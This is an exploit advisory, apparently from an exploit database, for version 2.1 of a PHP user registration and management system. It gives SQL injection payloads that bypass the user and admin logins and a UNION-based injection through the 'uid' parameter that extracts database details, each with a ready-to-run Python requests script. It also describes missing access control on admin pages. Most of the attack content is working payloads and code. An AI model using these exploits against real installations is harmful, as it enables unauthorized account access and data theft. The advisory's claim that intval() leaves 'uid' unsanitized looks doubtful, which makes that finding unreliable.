User Registration And Login And User Management System 2.1 SQL Injection

`# Exploit Title: User Registration & Login and User Management System With admin panel - Authentication Bypass  
# Date: 2020-07-04  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L  
# Version: V2.1  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
[User Login]:  
  
Vulnerable File:  
----------------   
/index.php  
  
Vulnerable Code:  
-----------------  
line 62: $femail=$_POST['femail'];  
  
Vulnerable Issue:  
-----------------  
$femail=$_POST['femail']; has no sanitization  
  
POC User Login:  
---------------  
  
URL: http://localhost/loginsystem/index.php  
Username : ' or '1'='1'#  
Password : anything  
  
********************************************************************************  
  
[Admin Login]:  
  
Vulnerable File:  
----------------   
/admin/index.php  
  
Vulnerable Code:  
-----------------  
line 7: $adminusername=$_POST['username'];  
  
Vulnerable Issue:  
-----------------  
$adminusername=$_POST['username']; has no sanitization  
  
POC Admin Login:  
---------------  
  
URL: http://localhost/loginsystem/admin/index.php  
Username : ' or '1'='1'#  
Password : anything  
  
********************************************************************************  
  
Python Admin Login POC:  
----------------------  
  
import requests  
  
url = "http://localhost:80/loginsystem/admin/"  
  
payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login=Submit+Query"  
headers = {  
"Origin": "http://localhost",   
"Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",   
"Connection": "close",   
"Referer": "http://localhost/loginsystem/admin/",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5",   
"Content-Length": "73",   
"Content-Type": "application/x-www-form-urlencoded"  
}  
  
response = requests.request("POST", url, data=payload, headers=headers)  
  
print(response.text)  
  
  
  
-----------------  
  
# Exploit Title: User Registration & Login and User Management System With admin panel - 'uid' SQL Injection  
# Date: 2020-07-04  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L  
# Version: V2.1  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
Info:  
-----  
[+] Any registered user can access admin pages (update-profile.php,manage-users.php,change-password.php) - no propeer ACL / session control  
  
Vulnerable File:  
----------------   
/admin/update-profile.php  
  
Vulnerable Code:  
-----------------  
line 15: $uid=intval($_GET['uid']);  
  
Vulnerable Issue:  
-----------------  
$uid=intval($_GET['uid']); has no sanitization  
  
POC:  
----  
  
[+] Need any registered user to be authencated first.  
  
http://localhost/loginsystem/admin/update-profile.php?uid=11'+UNION+ALL+SELECT+NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL--+-  
  
Python Code:  
------------  
  
import requests,re  
  
url = "http://localhost:80/loginsystem/admin/update-profile.php?uid=11%27+UNION+ALL+SELECT+NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL--+-"  
  
payload = ""  
headers = {  
"Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",   
"Connection": "close",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5"  
}  
  
pattern = "(?<=gh1mau).*?(?=gh1mau)"  
response = requests.request("GET", url, data=payload, headers=headers)  
version=re.findall(pattern,response.text)  
  
print(version)  
`